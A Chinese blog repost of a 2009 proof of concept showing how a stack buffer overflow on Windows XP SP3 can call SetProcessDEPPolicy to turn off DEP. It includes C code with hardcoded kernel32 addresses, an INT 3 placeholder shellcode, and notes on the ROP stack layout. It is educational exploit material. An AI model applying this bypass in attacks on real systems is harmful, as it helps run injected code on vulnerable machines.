[zz]DEP bypass with SetProcessDEPPolicy()

本文介绍了一个利用SetProcessDEPPolicy函数绕过Windows XP SP3上的数据执行保护(DEP)的攻击方法。通过修改缓冲区并调用该函数,可以关闭DEP,使运行的进程不受硬件强制的NX/XD位约束。文章详细阐述了函数的使用方式,包括参数设置和栈上布局,以及在不同系统补丁级别下的适应性调整。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

  1. /*
  2. This is a proof of concept of buffer overflow exploitation with DEP
  3. bypass on Windows XP Professional SP3 english updated on December 9,
  4. 2009 with DEP manually set to OptOut so enabled for all processes,
  5. except the ones that are put in the exception list and this program
  6. is not.
  7.  
  8. This source has been compiled with Microsoft Visual C++ 2008 Express
  9. Edition in Release mode with the default flags. This includes
  10. /NXCOMPAT and /GS.
  11.  
  12. Buffer Security Check (stack cookie, /GS flag) does not need to be
  13. bypassed because the string buffer, buf, in this example is long
  14. 4 bytes, so the compiler does not add the GS cookie to the
  15. useSetProcessDEPPolicy() function. Remember that strict_gs_check
  16. pragma by default is turned off.
  17.  
  18. References:
  19. * 'New NX APIs added to Windows Vista SP1, Windows XP SP3 and Windows
  20.   Server 2008' by Michael Howard,
  21.   http://blogs.msdn.com/michael_howard/archive/2008/01/29/new-nx-apis-added-to-windows-vista-sp1-windows-xp-sp3-and-windows-server-2008.aspx
  22. * SetProcessDEPPolicy Function,
  23.   http://msdn.microsoft.com/en-us/library/bb736299%28VS.85%29.aspx
  24.  
  25. Feel free to write me for comments and questions,
  26. Bernardo Damele A. G. <bernardo.damele@gmail.com>
  27. */
  28.  
  29.  
  30. #include <windows.h>
  31. #include <stdlib.h>
  32.  
  33.  
  34. void useSetProcessDEPPolicy()
  35. {
  36.     char buf[4];
  37.  
  38.     /* Overflow the string buffer and EBP register. */
  39.     strcpy(buf, "AAAABBBB");
  40.  
  41.     /* SetProcessDEPPolicy() API has been added to Windows Vista SP1,
  42.     Windows XP SP3 and Windows Server 2008 and can be abused by an
  43.     attacker while exploiting a buffer overflow vulnerability to disable
  44.     hardware-enforced DEP (NX/XD bit) for the running process.
  45.  
  46.     Overwrite EIP with the address of SetProcessDepPolicy() API, which
  47.     is 0x7c8622a4 on a Windows XP SP3 English 32bit system updated on
  48.     December 9, 2009.
  49.  
  50.     NOTE: You might need to adapt it depending on your system patch
  51.     level. */
  52.     memcpy(buf+8, "\xa4\x22\x86\x7c", 4);
  53.  
  54.     /* Return address of SetProcessDepPolicy().
  55.     Use an address of a JMP ESP instruction in kernel32.dll to jump to our
  56.     shellcode on the top of the stack.
  57.  
  58.     NOTE: You might need to adapt it depending on your system patch
  59.     level. */
  60.     memcpy(buf+12, "\x13\x44\x87\x7c", 4);
  61.  
  62.     /* Argument for SetProcessDepPolicy().
  63.     0x00000000 turn off DEP for this process. */
  64.     memcpy(buf+16, "\x00\x00\x00\x00", 4);
  65.  
  66.     /* The shellcode to be executed after DEP has been disabled.
  67.     For instance, a breakpoint (INT 3 instruction) to call the
  68.     debug exception handler which will pause the process. */
  69.     memcpy(buf+20, "\xcc", 1);
  70. }
  71.  
  72.  
  73. int main()
  74. {
  75.     useSetProcessDEPPolicy();
  76.  
  77.     return 0;
  78. }
     
    利用SetProcessDEPPolicy来关闭DEP
    适用在:Windows XP SP3,Vista SP1 和Windows 2008。
    为了能使这个函数有效,当前的DEP 策略必须设成OptIn 或者OptOut。如果策略被设成
    AlwaysOn(或者AlwaysOff),然后SetProcessDEPPolicy 将会抛出一个错误。如果一个模块
    是以/NXCOMPAT 链接的,这个技术也将不会成功。最后,同等重要的是,它这能被进程调
    用一次。因此如果这个函数已经被当前进程调用(如IE8,当程序开始时已经调用它),它
    将不成功。
    Bernardo Damele 写了一篇关于这一技术的博文:
    http://bernardodamele.blogspot.com/2009/12/dep-bypass-with-setprocessdeppolicy.html
    函数原型如下:
    BOOLWINAPI SetprocessDEPPolicy(
      __in DWORD dwFlags
    );
    这个函数需要一个参数,并且这个参数必须设置为0,以此禁用当前进程的DEP。
    为了在ROP 链中使用这个函数,你需要在栈上这样设置:
    ●指向SetProcessDEPPolicy 的指针
    ●指向shellcode 的指针
    ●0
    指向shellcode 的指针用于确保当SetProcessDEPPolicy()执行完ROP链后会跳到shellcode。
    在XP SP3 下SetProcessDEPPolicy 的地址是7C8622A4(kernel32.dll)
    http://bernardodamele.blogspot.com/2009/12/dep-bypass-with-setprocessdeppolicy.html

转载于:https://www.cnblogs.com/moonflow/archive/2012/05/31/2529153.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值